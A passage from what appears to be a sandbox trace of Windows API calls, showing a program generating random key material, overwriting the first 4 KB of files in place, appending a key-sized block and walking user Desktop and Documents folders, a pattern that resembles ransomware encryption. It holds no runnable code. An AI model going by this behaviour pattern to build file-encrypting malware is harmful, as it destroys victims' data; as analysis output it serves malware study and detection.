returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.923] GetProcessHeap () returned 0x540000 [0078.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0078.924] GetProcessHeap () returned 0x540000 [0078.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0078.925] GetProcessHeap () returned 0x540000 [0078.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.925] GetProcessHeap () returned 0x540000 [0078.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0078.925] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.925] WriteFile (in: hFile=0x7a4, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0078.925] WriteFile (in: hFile=0x7a4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0078.925] GetProcessHeap () returned 0x540000 [0078.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0078.925] GetProcessHeap () returned 0x540000 [0078.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0078.925] GetProcessHeap () returned 0x540000 [0078.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0078.925] CloseHandle (hObject=0x7a4) returned 1 [0078.926] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 6 [0078.985] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.985] ReadFile (in: hFile=0x770, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.985] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.985] GetProcessHeap () returned 0x540000 [0078.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0078.985] GetProcessHeap () returned 0x540000 [0078.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0078.985] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0078.985] GetProcessHeap () returned 0x540000 [0078.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x44b0100 [0078.986] ReadFile (in: hFile=0x770, lpBuffer=0x44b0100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x44b0100*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.080] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.080] WriteFile (in: hFile=0x770, lpBuffer=0x44b0100*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x44b0100*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.080] GetProcessHeap () returned 0x540000 [0079.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.080] GetProcessHeap () returned 0x540000 [0079.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.080] GetProcessHeap () returned 0x540000 [0079.080] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.080] GetProcessHeap () returned 0x540000 [0079.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.080] GetProcessHeap () returned 0x540000 [0079.081] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.081] GetProcessHeap () returned 0x540000 [0079.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.082] GetProcessHeap () returned 0x540000 [0079.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.082] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.083] GetProcessHeap () returned 0x540000 [0079.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.083] GetProcessHeap () returned 0x540000 [0079.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.084] GetProcessHeap () returned 0x540000 [0079.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.085] GetProcessHeap () returned 0x540000 [0079.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.085] GetProcessHeap () returned 0x540000 [0079.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.085] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.086] GetProcessHeap () returned 0x540000 [0079.087] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.087] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.087] WriteFile (in: hFile=0x770, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.087] WriteFile (in: hFile=0x770, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.087] GetProcessHeap () returned 0x540000 [0079.087] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44b0100 | out: hHeap=0x540000) returned 1 [0079.087] GetProcessHeap () returned 0x540000 [0079.087] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.087] GetProcessHeap () returned 0x540000 [0079.087] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.087] CloseHandle (hObject=0x770) returned 1 [0079.095] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 9 [0081.600] GetProcessHeap () returned 0x540000 [0081.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4140048 [0081.600] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\*") returned 30 [0081.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc048 [0081.601] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\.") returned 30 [0081.601] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.601] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\..") returned 31 [0081.601] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x540000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0081.601] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini") returned 40 [0081.601] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0081.607] GetProcessHeap () returned 0x540000 [0081.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41d20a0 [0081.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\*") returned 32 [0081.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc048 [0081.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\.") returned 32 [0081.607] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\..") returned 33 [0081.607] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x540000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0081.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini") returned 42 [0081.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, 